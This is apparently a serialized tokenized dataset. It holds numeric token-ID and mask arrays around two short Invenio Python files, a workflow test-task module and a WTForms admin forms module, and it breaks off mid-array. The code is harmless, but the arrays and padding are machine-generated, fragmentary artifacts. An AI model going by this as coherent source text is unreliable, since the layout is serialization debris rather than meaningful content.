1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
PXke/invenio
|
invenio/modules/workflows/tasks/simplified_data_tasks.py
|
2
|
1311
|
# -*- coding: utf-8 -*-
## This file is part of Invenio.
## Copyright (C) 2013, 2014 CERN.
##
## Invenio is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License as
## published by the Free Software Foundation; either version 2 of the
## License, or (at your option) any later version.
##
## Invenio is distributed in the hope that it will be useful, but
## WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
## General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with Invenio; if not, write to the Free Software Foundation, Inc.,
## 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.
"""Basic simplified data test functions - NOT FOR XML """
def task_a(a):
def _task_a(obj, eng):
"""Function task_a docstring"""
eng.log.info("executing task a " + str(a))
obj.data += a
return _task_a
def task_b(obj, eng):
"""Function task_b docstring"""
eng.log.info("executing task b")
if obj.data < 20:
eng.log.info("data < 20")
obj.add_task_result("task_b", {'a': 12, 'b': 13, 'c': 14})
eng.halt("Value of filed: data in object is too small.")
|
gpl-2.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
309,
961,
570,
365,
1777,
402,
12235,
14,
199,
309,
1898,
334,
35,
9,
6171,
12,
6927,
24354,
14,
199,
309,
199,
309,
12235,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
309,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
199,
309,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
199,
309,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
309,
199,
309,
12235,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
1325,
199,
309,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
309,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
1666,
314,
1664,
199,
309,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
309,
199,
309,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
309,
3180,
543,
12235,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
2752,
12,
3277,
2020,
199,
309,
8155,
15630,
10902,
12,
14453,
13540,
12,
8226,
12,
4828,
15673,
13,
13421,
12,
8217,
14,
199,
199,
624,
6845,
26867,
666,
511,
3423,
446,
2845,
2381,
4692,
408,
421,
199,
318,
2120,
63,
65,
8,
65,
304,
272,
347,
485,
1765,
63,
65,
8,
1113,
12,
20171,
304,
267,
408,
3481,
2120,
63,
65,
9214,
624,
267,
20171,
14,
793,
14,
815,
480,
23722,
2120,
282,
298,
435,
620,
8,
65,
430,
267,
1559,
14,
576,
847,
282,
272,
372,
485,
1765,
63,
65,
421,
199,
318,
2120,
63,
66,
8,
1113,
12,
20171,
304,
272,
408,
3481,
2120,
63,
66,
9214,
624,
272,
20171,
14,
793,
14,
815,
480,
23722,
2120,
330,
531,
272,
340,
1559,
14,
576,
665,
3388,
26,
267,
20171,
14,
793,
14,
815,
480,
576,
665,
3388,
531,
267,
1559,
14,
525,
63,
1765,
63,
1099,
480,
1765,
63,
66,
401,
791,
65,
356,
3144,
12,
283,
66,
356,
4944,
12,
283,
67,
356,
4329,
1552,
267,
20171,
14,
72,
4478,
480,
1110,
402,
570,
68,
26,
666,
315,
909,
365,
4634,
7425,
2685,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
309,
961,
570,
365,
1777,
402,
12235,
14,
199,
309,
1898,
334,
35,
9,
6171,
12,
6927,
24354,
14,
199,
309,
199,
309,
12235,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
309,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
199,
309,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
199,
309,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
309,
199,
309,
12235,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
1325,
199,
309,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
309,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
1666,
314,
1664,
199,
309,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
309,
199,
309,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
309,
3180,
543,
12235,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
2752,
12,
3277,
2020,
199,
309,
8155,
15630,
10902,
12,
14453,
13540,
12,
8226,
12,
4828,
15673,
13,
13421,
12,
8217,
14,
199,
199,
624,
6845,
26867,
666,
511,
3423,
446,
2845,
2381,
4692,
408,
421,
199,
318,
2120,
63,
65,
8,
65,
304,
272,
347,
485,
1765,
63,
65,
8,
1113,
12,
20171,
304,
267,
408,
3481,
2120,
63,
65,
9214,
624,
267,
20171,
14,
793,
14,
815,
480,
23722,
2120,
282,
298,
435,
620,
8,
65,
430,
267,
1559,
14,
576,
847,
282,
272,
372,
485,
1765,
63,
65,
421,
199,
318,
2120,
63,
66,
8,
1113,
12,
20171,
304,
272,
408,
3481,
2120,
63,
66,
9214,
624,
272,
20171,
14,
793,
14,
815,
480,
23722,
2120,
330,
531,
272,
340,
1559,
14,
576,
665,
3388,
26,
267,
20171,
14,
793,
14,
815,
480,
576,
665,
3388,
531,
267,
1559,
14,
525,
63,
1765,
63,
1099,
480,
1765,
63,
66,
401,
791,
65,
356,
3144,
12,
283,
66,
356,
4944,
12,
283,
67,
356,
4329,
1552,
267,
20171,
14,
72,
4478,
480,
1110,
402,
570,
68,
26,
666,
315,
909,
365,
4634,
7425,
2685,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
nharraud/b2share
|
invenio/modules/search/admin_forms.py
|
6
|
1705
|
# -*- coding: utf-8 -*-
#
# This file is part of Invenio.
# Copyright (C) 2011, 2014, 2015 CERN.
#
# Invenio is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
#
# Invenio is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Invenio; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.
"""WebMessage Forms."""
from invenio.base.i18n import _
from invenio.modules.search.models import get_pbx_pos
from invenio.utils.forms import InvenioBaseForm
from wtforms import HiddenField, SelectField, StringField
class CollectionForm(InvenioBaseForm):
"""Collecty form."""
id = HiddenField()
name = StringField(_('Name'))
dbquery = StringField(_('Query'))
def TranslationsForm(language_list_long, values):
"""Translation form."""
class _TranslationsForm(InvenioBaseForm):
collection_id = HiddenField()
for (lang, lang_long) in language_list_long:
setattr(_TranslationsForm, lang,
StringField(_(lang_long),
default=values.get(lang, '')))
return _TranslationsForm
class PortalBoxForm(InvenioBaseForm):
"""Portal box form."""
id = HiddenField()
postion = SelectField(u'Select Position', get_pbx_pos())
|
gpl-2.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
12235,
14,
199,
3,
1898,
334,
35,
9,
7760,
12,
6927,
12,
6900,
24354,
14,
199,
3,
199,
3,
12235,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
199,
3,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
199,
3,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
12235,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
1325,
199,
3,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
12235,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
2752,
12,
3277,
2020,
199,
3,
8155,
15630,
10902,
12,
14453,
13540,
12,
8226,
12,
4828,
15673,
13,
13421,
12,
8217,
14,
199,
199,
624,
5926,
2209,
2104,
706,
1041,
199,
199,
504,
13640,
14,
1095,
14,
73,
1085,
78,
492,
485,
199,
504,
13640,
14,
3112,
14,
1733,
14,
992,
492,
664,
63,
21923,
63,
1712,
199,
504,
13640,
14,
1208,
14,
3351,
492,
12235,
1563,
2821,
199,
199,
504,
24756,
3351,
492,
26401,
792,
12,
9496,
792,
12,
21409,
421,
199,
533,
18003,
2821,
8,
607,
7597,
1563,
2821,
304,
339,
408,
25023,
89,
1824,
1041,
339,
1305,
275,
26401,
792,
342,
272,
536,
275,
21409,
6723,
985,
1333,
272,
1592,
1131,
275,
21409,
6723,
3227,
1333,
421,
199,
318,
6266,
6011,
2821,
8,
3671,
63,
513,
63,
2809,
12,
1338,
304,
272,
408,
18483,
1824,
1041,
272,
1021,
485,
3188,
6011,
2821,
8,
607,
7597,
1563,
2821,
304,
267,
3245,
63,
344,
275,
26401,
792,
342,
339,
367,
334,
4159,
12,
6339,
63,
2809,
9,
315,
2637,
63,
513,
63,
2809,
26,
267,
5371,
1547,
3188,
6011,
2821,
12,
6339,
12,
355,
21409,
27594,
4159,
63,
2809,
395,
1169,
849,
29,
1459,
14,
362,
8,
4159,
12,
4074,
430,
339,
372,
485,
3188,
6011,
2821,
421,
199,
533,
10977,
279,
3532,
2821,
8,
607,
7597,
1563,
2821,
304,
339,
408,
26708,
5689,
1824,
1041,
339,
1305,
275,
26401,
792,
342,
272,
2963,
1636,
275,
9496,
792,
8,
85,
7,
5446,
15483,
297,
664,
63,
21923,
63,
1712,
1012,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
12235,
14,
199,
3,
1898,
334,
35,
9,
7760,
12,
6927,
12,
6900,
24354,
14,
199,
3,
199,
3,
12235,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
199,
3,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
199,
3,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
12235,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
1325,
199,
3,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
